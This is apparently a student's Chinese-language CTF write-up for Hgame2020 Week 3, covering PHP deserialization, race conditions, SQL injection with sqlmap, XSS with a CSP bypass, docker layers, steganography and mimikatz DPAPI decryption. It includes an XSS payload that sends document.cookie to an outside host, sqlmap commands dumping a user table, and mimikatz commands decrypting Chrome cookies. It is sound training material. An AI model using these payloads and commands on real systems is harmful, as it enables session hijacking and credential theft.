Hgame2020 Week3

Hgame2020 Week3 新人スタッフ(Akira)
这周好难啊
Web
0x01 序列之争 - Ordinal Scale
解出来前一天刚把War of Underworld补完
打开元素审查,发现可疑的注释

访问/source.zip得到源码

这里看出如果$playerName是%s的活,第一次foreach循环之后$welcomeMsg相当于没变,而第二次循环%s则被替换为$encryptKey的值

询问🍆得知hint:反序列化(怪不得叫序列之争

构造cookie的形式

cookie验证成功后反序列化

受🍆博客的启发得知$monster['no']可以看作$monster->no,所以可以把no设成一个新的Rank实例来修改$rank
payload:
1 |
|
运行得到伪造的cookie:
YToyOntzOjQ6Im5hbWUiO3M6MTA6IkhlYXRoY2xpZmYiO3M6Mjoibm8iO086NDoiUmFuayI6MTp7czoxMDoiAFJhbmsAcmFuayI7aToxO319NTBhMjhjZTZhMzFjYWM1YTJkZjE2ZWQ2ZmViZGVmNzM=
Burp提交后得到flag

0x03 Cosmos的二手市场


询问Roc学长后得知是条件竞争漏洞
由于试了下Burp的Intruder没得就手撸了
打开拦截,多次点击购买,关闭拦截
打开拦截,多次点击出售,关闭拦截
后来写wp的时候试着写(抄)了个多线程的python脚本,效率高多了
1 | import requests, time, threading |

0x04 Cosmos的留言板-2
题目hint:
说明我们要找到存放用户数据的表
由于🍆在群里说上周时间盲注这周就简单了直接上sqlmap
Burp看到

猜想 delete_id 可以注入,将Burp拦下的 request改成以下形式后保存到文件里作为sqlmap请求模板(以下命令中的request)

运行命令 sqlmap -r request --tamper=space2comment --level 3 -p delete_id -f


探测到为MySQL且可以注入
运行命令 sqlmap -r request --tamper=space2comment --level 3 -p delete_id --dbs 找数据库

猜测在 babysql 中,运行命令 sqlmap -r request --tamper=space2comment --level 3 -p delete_id -D babysql --tables 找表

明显在 user 中,运行命令 sqlmap -r request --tamper=space2comment --level 3 -p delete_id -D babysql -T user --dump 把表搞下来

id=1就是,真是太良心了
可能由于网不好或者注爆了也会出现以下情况(老家的网注爆了4、5次,清缓存重注哭了

登录得到flag

0x05 Cosmos的聊天室2.0
感觉是猜出来的
打开随便输点东西,发现强制小写,过滤script
尝试用scrscriptipt绕过却发现

百度得知是因为开启了CSP,参考文章:https://www.anquanke.com/post/id/151496

并且用了 script-src 'self' 只接受本机脚本
百度得知可以用ifrarme绕过,参考文章:https://www.jianshu.com/p/f1de775bc43e

并且测试出没有过滤 iframe 标签
加了限制策略怎么还减少了关键词限制
突然想peach:
如果send页面没有CSP,可以把payload装到send那里运行
Payload:
1 | <iframe src="/send?message=<scrscriptipt>fetch('//ip'+document.cookie)</scrscriptipt>"></iframe> |
然后由于过滤了 + ,js那段选择使用16进制编码,最终payload:

从输入框提交,发现成功了,撞md5让管理员执行,最后看VPS的日志

Burp改token访问/flag得到flag

Misc
0x01 美 人 鲸
人生中第一次用docker
首先根据名字非常适合本人的菜鸟教程配好docker:https://www.runoob.com/docker/debian-docker-install.html,并克隆镜像
运行命令 docker image inspect 31ab18768617 查看镜像详情,得到hint

由于不懂怎么查看镜像内容运行命令 docker image save 31ab18768617 -o 233.tar 直接打包成tar再解压
解压得到5个文件夹和两个json

先从 69XXX 开始解压

发现 flag.tar.gz

根据hint找到Zip Password好像不小心暴露了桌面
输进去发现是错的,问了ObjectNotFound说是旧的直接告诉我新的了
后来发现因为是逃课解法所以真正的密码在另一个layer里

解压得到 flag.db,转战windows,用SQLite打开

0x02 三重隐写
日常做到一半做不下去了就看看这题,没想到拿了一血(虽然改变不了我菜的事实
解压得到You know LSB.wav、上裏与手抄卷.mp3、Unlasting.mp3、flag.7z 和 EncryptoforWin.exe
百度wav LSB得知隐写软件 silenteye

Unlasting 真好听应该是解封面的PDF417条码,foremost导出封面后扫码

推断这是给题目的加密软件用的
剩下上裏与手抄卷.mp3,推断是mp3隐写,使用 MP3Stego 和第一个密码

解压7z,用AES key和题目给的软件解密得到flag

0x03 日常
解压得到Blind.png、Origin_pixivArtwork75992170.png和我觉得一般般的橫豎撇點折_av85002656.ogg
首先先去P站收藏id为75992170的这张图一眼就可看出给的两张图是盲水印,解得这样

VeraCrypt Password is
X0YAl(小写L)GDuZF$echCy
眼瞎看了好久看不出,跑去做0x02了,最后还问了ObjectNotFound学长
binwalk 扫ogg,顺手解压

得到 Container,猜测用 VeraCrypt 打开

用之前得到的 VeraCrypt Password 挂载成功,得到 Cookies、ObjectNF-PC.txt 和 S-1-5-21-3375469711-1363829938-1291733684-1001.zip
解压zip,得到 20dfa1c6-d232-40cd-89ec-5678b380920b

看出这是mimikatz导出来的然后就不会了
在看了半天web没有思路的情况下开始摸鱼无意中百度到一道很类似的原题:https://www.cnblogs.com/cnnnnnn/p/11824463.html
解密NTLM Hash,得到密码

打开mimikatz,提取masterkey:
dpapi::masterkey /in:"20dfa1c6-d232-40cd-89ec-5678b380920b" /sid:S-1-5-21-3375469711-1363829938-1291733684-1001 /password:happy2020

其实也可以直接用NTLM(
dpapi::masterkey /in:"20dfa1c6-d232-40cd-89ec-5678b380920b" /sid:S-1-5-21-3375469711-1363829938-1291733684-1001 /system:1563a49a3d594ba9c034ee831161dfde

然后用masterkey解密cookie:
dpapi::chrome /in:"Cookies" /masterkey:d96b6c13bda8659a94dc8993a14f7ec53395848eff271999d734adbc7880633f9684c38789c67b57f14b9834c852f11f80c14ad15f755ab990691fc9fd710b4d

总结
week3开始的时候真的觉得已经没救了,后来在不断尝试、学习与学长(姐)们的帮助下还是没有爆0真是太好了(,拖延症晚期+有趣的hgame让我还没有开始肝学院任务==,还是希望下周别爆0吧,下周web的四种语言我都是初心者。。。